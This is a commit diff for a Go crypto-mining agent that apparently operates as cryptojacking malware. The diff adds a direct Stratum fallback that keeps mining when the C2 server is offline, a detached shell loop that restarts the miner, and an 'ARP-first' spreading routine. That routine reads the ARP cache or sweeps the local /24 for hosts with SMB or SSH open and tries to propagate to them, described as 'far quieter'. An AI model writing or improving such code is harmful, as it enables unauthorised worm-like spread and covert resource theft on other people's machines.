fix: agent effectiveness -- hashrate accuracy, process guard, Stratum fallback, ARP-first spread

2026-05-30 15:23:07 -07:00
parent 117801f882
commit 36fdc0194d
8 changed files with 671 additions and 44 deletions
--- a/agent/client/client.go
+++ b/agent/client/client.go
@@ -15,6 +15,7 @@ import (
 	"runtime"
 	"strings"
 	"sync"
+	"sync/atomic"
 	"time"

 	"crypto-miner-agent/config"
@@ -39,6 +40,10 @@ type AgentClient struct {
 	agentID         string
 	sharesSubmitted int
 	sharesAccepted  int
+
+	// connected is true while a C2 WebSocket session is active.
+	// The Stratum fallback manager monitors this to decide when to mine directly.
+	connected atomic.Bool
 }

 func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
@@ -77,6 +82,18 @@ func (c *AgentClient) Run() error {
 		}
 	}

+	// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
+	fallbackDone := make(chan struct{})
+	fallbackManagerDone := make(chan struct{})
+	go func() {
+		defer close(fallbackManagerDone)
+		c.stratumFallbackManager(fallbackDone)
+	}()
+	defer func() {
+		close(fallbackDone)
+		<-fallbackManagerDone
+	}()
+
 	// Build deduped server list: primary first, then backups.
 	// On each failure we advance to the next URL so the fleet never
 	// goes dark when the primary host reboots.
@@ -90,6 +107,8 @@ func (c *AgentClient) Run() error {
 	for {
 		target := serverURLs[urlIdx%len(serverURLs)]
 		start := time.Now()
+		// Restore C2 share handler before connecting (in case Stratum had it).
+		c.pool.SetShareHandler(c.submitShare)
 		if err := c.connectLoop(target); err != nil {
 			log.Printf("[agent] disconnected from %s: %v", target, err)
 		}
@@ -155,6 +174,8 @@ func (c *AgentClient) connectLoop(serverURL string) error {
 	if err := c.authenticate(); err != nil {
 		return err
 	}
+	c.connected.Store(true)
+	defer c.connected.Store(false)

 	statsStop := make(chan struct{})
 	go c.statsLoop(statsStop)
@@ -617,6 +638,64 @@ func (c *AgentClient) write(msg Message) error {
 	return c.conn.WriteJSON(msg)
 }

+// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
+// connection after 30 seconds of being disconnected from the C2 server.
+// When C2 reconnects the Stratum session is stopped and the share handler is
+// restored to the C2 WebSocket path.
+func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
+	if c.cfg.PoolHost == "" {
+		return // no pool configured
+	}
+
+	type fallback struct {
+		stop chan struct{}
+		wait chan struct{}
+	}
+	var fb *fallback
+
+	var disconnectedSince time.Time
+	ticker := time.NewTicker(5 * time.Second)
+	defer ticker.Stop()
+
+	stopFallback := func() {
+		if fb != nil {
+			close(fb.stop)
+			<-fb.wait
+			fb = nil
+			c.pool.SetShareHandler(c.submitShare)
+			log.Printf("[stratum] fallback stopped — C2 connection restored")
+		}
+	}
+
+	for {
+		select {
+		case <-done:
+			stopFallback()
+			return
+		case <-ticker.C:
+			if c.connected.Load() {
+				disconnectedSince = time.Time{}
+				stopFallback()
+			} else {
+				if disconnectedSince.IsZero() {
+					disconnectedSince = time.Now()
+				}
+				if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
+					stop := make(chan struct{})
+					wait := make(chan struct{})
+					sc := miner.NewStratumClient(c.pool, c.cfg)
+					go func() {
+						defer close(wait)
+						sc.RunFallback(stop)
+					}()
+					fb = &fallback{stop: stop, wait: wait}
+					log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
+				}
+			}
+		}
+	}
+}
+
 func buildWSURL(serverURL string) (string, error) {
 	u, err := url.Parse(strings.TrimSpace(serverURL))
 	if err != nil {
--- a/agent/deploy/arp_unix.go
+++ b/agent/deploy/arp_unix.go
@@ -0,0 +1,105 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"bufio"
+	"net"
+	"os"
+	"os/exec"
+	"strings"
+)
+
+// arpHosts returns IPv4 hosts in the ARP cache on the local subnets.
+// On Linux it reads /proc/net/arp; on macOS/BSD it falls back to running
+// `arp -n`. Returns nil if nothing useful is found (caller does full scan).
+func arpHosts() []string {
+	hosts := arpFromProc()
+	if len(hosts) == 0 {
+		hosts = arpFromCmd()
+	}
+	return hosts
+}
+
+// arpFromProc parses Linux's /proc/net/arp.
+// Format: IP address  HW type  Flags  HW address  Mask  Device
+func arpFromProc() []string {
+	f, err := os.Open("/proc/net/arp")
+	if err != nil {
+		return nil
+	}
+	defer f.Close()
+
+	local := getLocalIPs()
+	subnets := make(map[string]bool)
+	for _, ip := range local {
+		subnets[getSubnet(ip)] = true
+	}
+
+	var hosts []string
+	seen := make(map[string]bool)
+	scanner := bufio.NewScanner(f)
+	for scanner.Scan() {
+		fields := strings.Fields(scanner.Text())
+		if len(fields) < 4 {
+			continue // skip header
+		}
+		ip := net.ParseIP(fields[0])
+		if ip == nil || ip.To4() == nil {
+			continue
+		}
+		// Flags = 0x0 means incomplete — skip
+		if fields[2] == "0x0" {
+			continue
+		}
+		ipStr := ip.To4().String()
+		sub := getSubnet(ipStr)
+		if !subnets[sub] || seen[ipStr] {
+			continue
+		}
+		seen[ipStr] = true
+		hosts = append(hosts, ipStr)
+	}
+	_ = scanner.Err()
+	return hosts
+}
+
+// arpFromCmd runs `arp -n` for macOS/BSD where /proc/net/arp doesn't exist.
+func arpFromCmd() []string {
+	raw, err := exec.Command("arp", "-n").Output()
+	if err != nil {
+		return nil
+	}
+	out := string(raw)
+
+	local := getLocalIPs()
+	subnets := make(map[string]bool)
+	for _, ip := range local {
+		subnets[getSubnet(ip)] = true
+	}
+
+	var hosts []string
+	seen := make(map[string]bool)
+	for _, line := range strings.Split(out, "\n") {
+		fields := strings.Fields(line)
+		if len(fields) < 2 {
+			continue
+		}
+		ip := net.ParseIP(fields[0])
+		if ip == nil || ip.To4() == nil || ip.IsLoopback() {
+			continue
+		}
+		// arp -n marks incomplete entries as "(incomplete)"
+		if strings.Contains(line, "incomplete") {
+			continue
+		}
+		ipStr := ip.To4().String()
+		sub := getSubnet(ipStr)
+		if !subnets[sub] || seen[ipStr] {
+			continue
+		}
+		seen[ipStr] = true
+		hosts = append(hosts, ipStr)
+	}
+	return hosts
+}
--- a/agent/deploy/arp_windows.go
+++ b/agent/deploy/arp_windows.go
@@ -0,0 +1,51 @@
+//go:build windows
+
+package deploy
+
+import (
+	"net"
+	"os/exec"
+	"strings"
+)
+
+// arpHosts returns the list of IPv4 hosts currently in the OS ARP cache
+// that share a subnet with one of our local interfaces. These are machines
+// that have recently communicated on the LAN — a far smaller and more
+// targeted set than a blind /24 sweep.
+//
+// Falls back to nil (caller will do a full scan) on any error.
+func arpHosts() []string {
+	out, err := exec.Command("arp", "-a").Output()
+	if err != nil {
+		return nil
+	}
+	local := getLocalIPs()
+	subnets := make(map[string]bool)
+	for _, ip := range local {
+		subnets[getSubnet(ip)] = true
+	}
+
+	var hosts []string
+	seen := make(map[string]bool)
+	for _, line := range strings.Split(string(out), "\n") {
+		line = strings.TrimSpace(line)
+		// arp -a lines look like:
+		//   192.168.1.1         00-11-22-33-44-55     dynamic
+		fields := strings.Fields(line)
+		if len(fields) < 2 {
+			continue
+		}
+		ip := net.ParseIP(fields[0])
+		if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
+			continue
+		}
+		ipStr := ip.To4().String()
+		sub := getSubnet(ipStr)
+		if !subnets[sub] || seen[ipStr] {
+			continue
+		}
+		seen[ipStr] = true
+		hosts = append(hosts, ipStr)
+	}
+	return hosts
+}
--- a/agent/deploy/autospread.go
+++ b/agent/deploy/autospread.go
@@ -51,24 +51,53 @@ func RunSpreadOnce(cfg config.RuntimeConfig) string {
 var spreadSem = make(chan struct{}, 16)

 func spreadToLocalSubnet(cfg config.RuntimeConfig) {
-	ips := getLocalIPs()
-	for _, ip := range ips {
-		subnet := getSubnet(ip)
-		if subnet == "" {
-			continue
+	// ARP-first: only probe hosts the OS has recently spoken to.
+	// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
+	targets := arpHosts()
+
+	// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
+	// machines with SMB open so we still reach previously-unseen machines.
+	if len(targets) < 3 {
+		ips := getLocalIPs()
+		seen := make(map[string]bool)
+		for _, t := range targets {
+			seen[t] = true
 		}
-		for i := 1; i < 255; i++ {
-			target := fmt.Sprintf("%s.%d", subnet, i)
-			if target == ip {
+		for _, ip := range ips {
+			subnet := getSubnet(ip)
+			if subnet == "" {
 				continue
 			}
-			spreadSem <- struct{}{} // acquire slot
-			go func(t string) {
-				defer func() { <-spreadSem }() // release slot when done
-				attemptSpread(cfg, t)
-			}(target)
+			for i := 1; i < 255; i++ {
+				candidate := fmt.Sprintf("%s.%d", subnet, i)
+				if candidate == ip || seen[candidate] {
+					continue
+				}
+				// Quick port check — only bother with machines that have :445 open
+				conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
+				if err == nil {
+					conn.Close()
+					seen[candidate] = true
+					targets = append(targets, candidate)
+				}
+			}
 		}
 	}
+
+	localSet := make(map[string]bool)
+	for _, ip := range getLocalIPs() {
+		localSet[ip] = true
+	}
+	for _, target := range targets {
+		if localSet[target] {
+			continue
+		}
+		spreadSem <- struct{}{}
+		go func(t string) {
+			defer func() { <-spreadSem }()
+			attemptSpread(cfg, t)
+		}(target)
+	}
 }

 func getLocalIPs() []string {
--- a/agent/deploy/autospread_unix.go
+++ b/agent/deploy/autospread_unix.go
@@ -46,24 +46,51 @@ func spreadUnixSubnet(cfg config.RuntimeConfig) {
 	if err != nil {
 		return
 	}
-	ips := getLocalIPs()
-	for _, ip := range ips {
-		subnet := getSubnet(ip)
-		if subnet == "" {
-			continue
+
+	// ARP-first: use the OS ARP cache to find live hosts without a /24 sweep.
+	targets := arpHosts()
+
+	// Fallback: if ARP cache has < 3 entries, probe for SSH-open hosts.
+	if len(targets) < 3 {
+		ips := getLocalIPs()
+		seen := make(map[string]bool)
+		for _, t := range targets {
+			seen[t] = true
 		}
-		for i := 1; i < 255; i++ {
-			target := fmt.Sprintf("%s.%d", subnet, i)
-			if target == ip {
+		for _, ip := range ips {
+			subnet := getSubnet(ip)
+			if subnet == "" {
 				continue
 			}
-			spreadSem <- struct{}{} // acquire slot
-			go func(t string) {
-				defer func() { <-spreadSem }()
-				attemptSSHSpread(cfg, t, exePath)
-			}(target)
+			for i := 1; i < 255; i++ {
+				candidate := fmt.Sprintf("%s.%d", subnet, i)
+				if candidate == ip || seen[candidate] {
+					continue
+				}
+				conn, connErr := net.DialTimeout("tcp", candidate+":22", 400*time.Millisecond)
+				if connErr == nil {
+					conn.Close()
+					seen[candidate] = true
+					targets = append(targets, candidate)
+				}
+			}
 		}
 	}
+
+	localSet := make(map[string]bool)
+	for _, ip := range getLocalIPs() {
+		localSet[ip] = true
+	}
+	for _, target := range targets {
+		if localSet[target] {
+			continue
+		}
+		spreadSem <- struct{}{}
+		go func(t string) {
+			defer func() { <-spreadSem }()
+			attemptSSHSpread(cfg, t, exePath)
+		}(target)
+	}
 }

 func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
--- a/agent/deploy/health_unix.go
+++ b/agent/deploy/health_unix.go
@@ -11,20 +11,27 @@ import (
 	"crypto-miner-agent/config"
 )

+
 // launchProcessGuard spawns a detached shell loop that watches for the installed
 // miner and restarts it on crash (Unix — Linux + macOS).
+//
+// Uses `pgrep -f` with the full binary path rather than `-x` (exact process-name
+// match), which is unreliable on Linux where /proc truncates names to 15 chars.
 func launchProcessGuard(cfg config.RuntimeConfig) {
 	installDir, err := cfg.InstallDirectory()
 	if err != nil {
 		return
 	}
 	bin := filepath.Join(installDir, BinaryName(cfg))
-	procName := strings.TrimSuffix(BinaryName(cfg), "")

-	// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
+	// Escape single-quotes in path (edge case for unusual install dirs).
+	safebin := strings.ReplaceAll(bin, "'", "'\\''")
+
+	// Loop every 60 s. If pgrep can't find any process whose command line
+	// contains the full binary path, and the binary still exists, restart it.
 	script := fmt.Sprintf(
-		`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
-		procName, bin, bin,
+		`while true; do sleep 60; pgrep -f '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
+		safebin, safebin, safebin,
 	)
 	cmd := exec.Command("sh", "-c", script)
 	_ = cmd.Start()
--- a/agent/miner/pool.go
+++ b/agent/miner/pool.go
@@ -20,18 +20,24 @@ type Pool struct {
 	cfg      config.RuntimeConfig
 	reporter *stats.Reporter
 	engines  []*Engine
-	handler  ShareHandler
 	schedule *ScheduleGuard

 	mu         sync.RWMutex
 	currentJob *job.Job
 	stopCh     chan struct{}
 	wg         sync.WaitGroup
-	paused     atomic.Bool
+	paused      atomic.Bool
 	remotePause atomic.Bool

-	hashesTotal atomic.Uint64
-	sharesFound atomic.Uint64
+	// Share handler — swappable at runtime (C2 vs Stratum fallback).
+	handlerMu sync.RWMutex
+	handler   ShareHandler
+
+	// Hashrate tracking — reset each stats tick, divided by elapsed seconds.
+	hashesTotal    atomic.Uint64
+	sharesFound    atomic.Uint64
+	resetMu        sync.Mutex
+	hashesLastReset time.Time
 }

 func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
@@ -43,13 +49,14 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
 		engines[i] = NewEngine()
 	}
 	return &Pool{
-		threads:  threads,
-		cfg:      cfg,
-		reporter: reporter,
-		engines:  engines,
-		handler:  handler,
-		schedule: NewScheduleGuard(cfg, reporter),
-		stopCh:   make(chan struct{}),
+		threads:         threads,
+		cfg:             cfg,
+		reporter:        reporter,
+		engines:         engines,
+		handler:         handler,
+		schedule:        NewScheduleGuard(cfg, reporter),
+		stopCh:          make(chan struct{}),
+		hashesLastReset: time.Now(),
 	}
 }

@@ -84,12 +91,33 @@ func (p *Pool) Stop() {
 	p.wg.Wait()
 }

+// HashesPerSecond returns the average hash rate since the last ResetHashCounter call.
 func (p *Pool) HashesPerSecond() float64 {
-	return float64(p.hashesTotal.Load())
+	p.resetMu.Lock()
+	elapsed := time.Since(p.hashesLastReset).Seconds()
+	count := float64(p.hashesTotal.Load())
+	p.resetMu.Unlock()
+	if elapsed <= 0 {
+		return 0
+	}
+	return count / elapsed
 }

+// ResetHashCounter zeroes the counter and records the reset time so that
+// the next HashesPerSecond() call measures over the correct interval.
 func (p *Pool) ResetHashCounter() {
+	p.resetMu.Lock()
 	p.hashesTotal.Store(0)
+	p.hashesLastReset = time.Now()
+	p.resetMu.Unlock()
+}
+
+// SetShareHandler replaces the share submission callback at runtime.
+// Used to switch between C2-mediated submission and direct Stratum submission.
+func (p *Pool) SetShareHandler(fn ShareHandler) {
+	p.handlerMu.Lock()
+	p.handler = fn
+	p.handlerMu.Unlock()
 }

 func (p *Pool) PauseRemote() {
@@ -198,8 +226,11 @@ func (p *Pool) worker(id int, engine *Engine) {
 			}
 			if target != "" && hashMeetsTarget(hashHex, target) {
 				p.sharesFound.Add(1)
-				if p.handler != nil {
-					p.handler(job.ID, uint32ToHex(nonce-1), hashHex)
+				p.handlerMu.RLock()
+				h := p.handler
+				p.handlerMu.RUnlock()
+				if h != nil {
+					h(job.ID, uint32ToHex(nonce-1), hashHex)
 				}
 			}
 		}
--- a/agent/miner/stratum.go
+++ b/agent/miner/stratum.go
@@ -0,0 +1,298 @@
+package miner
+
+// StratumClient provides a minimal Monero Stratum client that the agent falls
+// back to when the C2 server is unreachable. It feeds jobs directly into the
+// existing miner.Pool so hashing never stops, and submits found shares back to
+// the pool over Stratum so they are not lost.
+//
+// Protocol: JSON-RPC over TCP (or TLS), newline-delimited messages.
+// Reference: https://p2pool.io/docs/stratum.html
+
+import (
+	"bufio"
+	"crypto/tls"
+	"encoding/json"
+	"fmt"
+	"log"
+	"net"
+	"time"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/job"
+)
+
+// ─── Wire types ──────────────────────────────────────────────────────────────
+
+type stratumMsg struct {
+	ID      interface{}     `json:"id"`
+	JSONRPC string          `json:"jsonrpc,omitempty"`
+	Method  string          `json:"method,omitempty"`
+	Params  json.RawMessage `json:"params,omitempty"`
+	Result  json.RawMessage `json:"result,omitempty"`
+	Error   interface{}     `json:"error,omitempty"`
+}
+
+type loginResult struct {
+	ID     string       `json:"id"`
+	Job    *stratumJob  `json:"job"`
+	Status string       `json:"status"`
+}
+
+type stratumJob struct {
+	Blob     string `json:"blob"`
+	JobID    string `json:"job_id"`
+	Target   string `json:"target"`
+	SeedHash string `json:"seed_hash"`
+	Height   int64  `json:"height"`
+}
+
+type submitParams struct {
+	ID    string `json:"id"`
+	JobID string `json:"job_id"`
+	Nonce string `json:"nonce"`
+	Hash  string `json:"result"` // field name "result" in Stratum protocol
+}
+
+// ─── Pool endpoint list ───────────────────────────────────────────────────────
+
+type stratumEndpoint struct {
+	Host string
+	Port int
+	TLS  bool
+	Pass string
+}
+
+func buildStratumEndpoints(cfg config.RuntimeConfig) []stratumEndpoint {
+	eps := []stratumEndpoint{{
+		Host: cfg.PoolHost,
+		Port: cfg.PoolPort,
+		TLS:  cfg.PoolTLS,
+		Pass: cfg.PoolPass,
+	}}
+	for _, bp := range cfg.BackupPools {
+		if bp.Host != "" && bp.Port > 0 {
+			eps = append(eps, stratumEndpoint{
+				Host: bp.Host,
+				Port: bp.Port,
+				TLS:  bp.TLS,
+				Pass: bp.Pass,
+			})
+		}
+	}
+	return eps
+}
+
+// ─── StratumClient ───────────────────────────────────────────────────────────
+
+// StratumClient mines via a direct Stratum connection. It is started when the
+// C2 server is unreachable and stopped as soon as C2 comes back.
+type StratumClient struct {
+	pool *Pool
+	cfg  config.RuntimeConfig
+}
+
+func NewStratumClient(pool *Pool, cfg config.RuntimeConfig) *StratumClient {
+	return &StratumClient{pool: pool, cfg: cfg}
+}
+
+// RunFallback cycles through all configured pools, trying each in turn, until
+// stopCh is closed. Each pool connection runs its own read/write loops.
+func (s *StratumClient) RunFallback(stopCh <-chan struct{}) {
+	if s.cfg.PoolHost == "" {
+		log.Printf("[stratum] no pool configured — fallback unavailable")
+		return
+	}
+	endpoints := buildStratumEndpoints(s.cfg)
+	idx := 0
+	for {
+		select {
+		case <-stopCh:
+			return
+		default:
+		}
+		ep := endpoints[idx%len(endpoints)]
+		log.Printf("[stratum] connecting to %s:%d", ep.Host, ep.Port)
+		if err := s.runPool(ep, stopCh); err != nil {
+			log.Printf("[stratum] pool %s:%d: %v — trying next", ep.Host, ep.Port, err)
+		}
+		idx++
+		// Back off before the next retry
+		select {
+		case <-stopCh:
+			return
+		case <-time.After(15 * time.Second):
+		}
+	}
+}
+
+// runPool manages one Stratum connection until it fails or stopCh is closed.
+func (s *StratumClient) runPool(ep stratumEndpoint, stopCh <-chan struct{}) error {
+	addr := net.JoinHostPort(ep.Host, fmt.Sprintf("%d", ep.Port))
+	var conn net.Conn
+	var err error
+	if ep.TLS {
+		conn, err = tls.Dial("tcp", addr, &tls.Config{InsecureSkipVerify: true}) //nolint:gosec
+	} else {
+		conn, err = net.DialTimeout("tcp", addr, 10*time.Second)
+	}
+	if err != nil {
+		return err
+	}
+	defer conn.Close()
+
+	// Set up a reader (Stratum is newline-delimited JSON).
+	reader := bufio.NewReader(conn)
+	msgID := 1
+
+	// ── Login ────────────────────────────────────────────────────────────────
+	wallet := s.cfg.Wallet
+	pass := ep.Pass
+	if pass == "" {
+		pass = "x"
+	}
+	loginReq, _ := json.Marshal(stratumMsg{
+		ID:      msgID,
+		JSONRPC: "2.0",
+		Method:  "login",
+		Params: mustMarshal(map[string]interface{}{
+			"login": wallet,
+			"pass":  pass,
+			"rigid": s.cfg.WorkerName,
+			"agent": "AetherForge/" + config.Version,
+		}),
+	})
+	msgID++
+	if _, err := fmt.Fprintf(conn, "%s\n", loginReq); err != nil {
+		return fmt.Errorf("login send: %w", err)
+	}
+	_ = conn.SetDeadline(time.Now().Add(30 * time.Second))
+	loginLine, err := reader.ReadString('\n')
+	if err != nil {
+		return fmt.Errorf("login read: %w", err)
+	}
+	_ = conn.SetDeadline(time.Time{}) // clear deadline
+
+	var loginResp stratumMsg
+	if err := json.Unmarshal([]byte(loginLine), &loginResp); err != nil {
+		return fmt.Errorf("login parse: %w", err)
+	}
+	if loginResp.Error != nil {
+		return fmt.Errorf("login error: %v", loginResp.Error)
+	}
+	var lr loginResult
+	if err := json.Unmarshal(loginResp.Result, &lr); err != nil {
+		return fmt.Errorf("login result parse: %w", err)
+	}
+	sessionID := lr.ID
+	log.Printf("[stratum] authenticated on %s — session %s", addr, sessionID)
+
+	// Feed the initial job from the login response.
+	if lr.Job != nil {
+		s.setJob(lr.Job)
+	}
+
+	// ── Share submission channel ──────────────────────────────────────────────
+	// The pool's share handler sends shares here; this goroutine drains them
+	// and writes submit requests to the Stratum connection.
+	shareCh := make(chan [3]string, 64) // [jobID, nonce, hash]
+	s.pool.SetShareHandler(func(jobID, nonce, hash string) {
+		select {
+		case shareCh <- [3]string{jobID, nonce, hash}:
+		default:
+			log.Printf("[stratum] share channel full — dropping share")
+		}
+	})
+
+	// Submit writer goroutine.
+	submitDone := make(chan struct{})
+	go func() {
+		defer close(submitDone)
+		for {
+			select {
+			case <-stopCh:
+				return
+			case share, ok := <-shareCh:
+				if !ok {
+					return
+				}
+				params, _ := json.Marshal(submitParams{
+					ID:    sessionID,
+					JobID: share[0],
+					Nonce: share[1],
+					Hash:  share[2],
+				})
+				req, _ := json.Marshal(stratumMsg{
+					ID:      msgID,
+					JSONRPC: "2.0",
+					Method:  "submit",
+					Params:  params,
+				})
+				msgID++
+				if _, err := fmt.Fprintf(conn, "%s\n", req); err != nil {
+					log.Printf("[stratum] submit write error: %v", err)
+					return
+				}
+			}
+		}
+	}()
+	defer func() { <-submitDone }()
+
+	// ── Job receive loop ──────────────────────────────────────────────────────
+	// keepalive every 60 s
+	keepalive := time.NewTicker(60 * time.Second)
+	defer keepalive.Stop()
+
+	for {
+		select {
+		case <-stopCh:
+			return nil
+		case <-keepalive.C:
+			req, _ := json.Marshal(stratumMsg{
+				ID:      msgID,
+				JSONRPC: "2.0",
+				Method:  "keepalived",
+				Params:  mustMarshal(map[string]string{"id": sessionID}),
+			})
+			msgID++
+			_, _ = fmt.Fprintf(conn, "%s\n", req)
+		default:
+		}
+
+		_ = conn.SetDeadline(time.Now().Add(120 * time.Second))
+		line, err := reader.ReadString('\n')
+		if err != nil {
+			return fmt.Errorf("read: %w", err)
+		}
+		var msg stratumMsg
+		if err := json.Unmarshal([]byte(line), &msg); err != nil {
+			continue
+		}
+		if msg.Method == "job" {
+			var sj stratumJob
+			if err := json.Unmarshal(msg.Params, &sj); err == nil {
+				s.setJob(&sj)
+			}
+		}
+	}
+}
+
+// setJob converts a Stratum job into the agent's internal job.Job format and
+// feeds it into the miner Pool.
+func (s *StratumClient) setJob(sj *stratumJob) {
+	if sj == nil || sj.Blob == "" {
+		return
+	}
+	j := &job.Job{
+		ID:       sj.JobID,
+		Blob:     sj.Blob,
+		Target:   sj.Target,
+		SeedHash: sj.SeedHash,
+	}
+	s.pool.SetJob(j)
+	log.Printf("[stratum] new job %s (height %d)", sj.JobID, sj.Height)
+}
+
+func mustMarshal(v interface{}) json.RawMessage {
+	b, _ := json.Marshal(v)
+	return b
+}